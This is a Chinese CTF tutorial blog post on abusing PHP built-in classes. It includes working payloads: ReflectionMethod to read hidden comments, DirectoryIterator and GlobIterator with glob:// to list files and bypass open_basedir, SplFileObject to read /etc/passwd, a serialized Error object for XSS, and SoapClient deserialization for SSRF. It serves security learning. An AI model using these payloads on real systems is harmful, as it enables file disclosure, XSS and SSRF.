PHP原生类的利用

原生类,即php中的内置类,ctf考过利用原生类的考点

先贴一个脚本寻找php中存在什么原生类

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

常遇到的几个 PHP 原生类有如下几个:

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

获取注释内容

取自2021国赛题目

ReflectionMethod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容

由该原生类中的getDocComment方法可以访问到注释的内容

源码:
<?php
highlight_file(__file__);
class User
{
    private static $c = 0;
    function a()
    {
        return ++self::$c;
    }
    function b()
    {
        return ++self::$c;
    }
    function c()
    {
    /**
         * flag{XINO}
         */
        return ++self::$c;
    }
    function d()
    {
        return ++self::$c;
    }
    function e()
    {
        return ++self::$c;
    }
    function f()
    {
        return ++self::$c;
    }
    function g()
    {
        return ++self::$c;
    }
    function h()
    {
        return ++self::$c;
    }
    function i()
    {
        return ++self::$c;
    }
    function j()
    {
        return ++self::$c;
    }
    function k()
    {
        return ++self::$c;
    }
    function l()
    {
        return ++self::$c;
    }
    function m()
    {
        return ++self::$c;
    }
    function n()
    {
        return ++self::$c;
    }
    function o()
    {
        return ++self::$c;
    }
    function p()
    {
        return ++self::$c;
    }
    function q()
    {
        return ++self::$c;
    }
    function r()
    {
        return ++self::$c;
    }
    function s()
    {
        return ++self::$c;
    }
    function t()
    {
        return ++self::$c;
    }
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

源码环境没有搞到,自己写了一个
rc是传入原生类名,rb和ra是传入类的属性,rd时传入类方法,后面就是实例化调用方法。

payload:

?rc=ReflectionMethod&ra=User&rb=c&rd=getDocComment

读取目录/文件(内容)

DirectoryIterator:

功能:**遍历指定目录里的文件,**可以配合glob://协议使用匹配来寻找文件路径:

<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;

或者遍历全部文件

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

FilesystemIterator

使用方式与DirectoryIterator基本相同,这里就不细讲了

GlobIterator

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

它的特点就是,只需要知道部分名称就可以进行遍历

例如

<?php
$dir=new GlobIterator("/*flag*");
echo $dir;

绕过 open_basedir

open_basedir将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

DirectoryIterator

DirectoryIterator与glob://协议在一起组合可以绕过open_basedir

测试

<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}

利用payload

/?XINO=glob:///*      #列出根目录下所有文件

FilesystemIterator
与上面基本一致,不再过多讨论

GlobIterator

**根据该类特点,**不用在配合glob://协议

一句话payload

$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}

SplFileObject 类

平常读取只能读取一行,要全部读取需要对内容进行遍历

?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

Error/Exception 内置类进行 XSS

Error:用于PHP7、8,开启报错。

Exceotion:用于PHP5、7、8,开启报错。

Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的

PHP7中,可以在echo时触发__toString,来构造XSS。

测试

<?php
$a = unserialize($_GET['XINO']);
echo $a;
?>

反序列化却没有pop链,只能找到PHP内置类来进行反序列化
poc:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

传入输出会出现弹框,一个简单的利用

Exception 内置类

与上面类似,有兴趣的可以去复现一下

SoapClient 类进行 SSRF

专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

构造函数

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
<?php
$a = new SoapClient(null,array('location'=>'http://50.xxx.xxx.60:2333/XINO', 'uri'=>'http://50.xxx.xxx.60:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    触发__call方法进行ssrf
?>
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值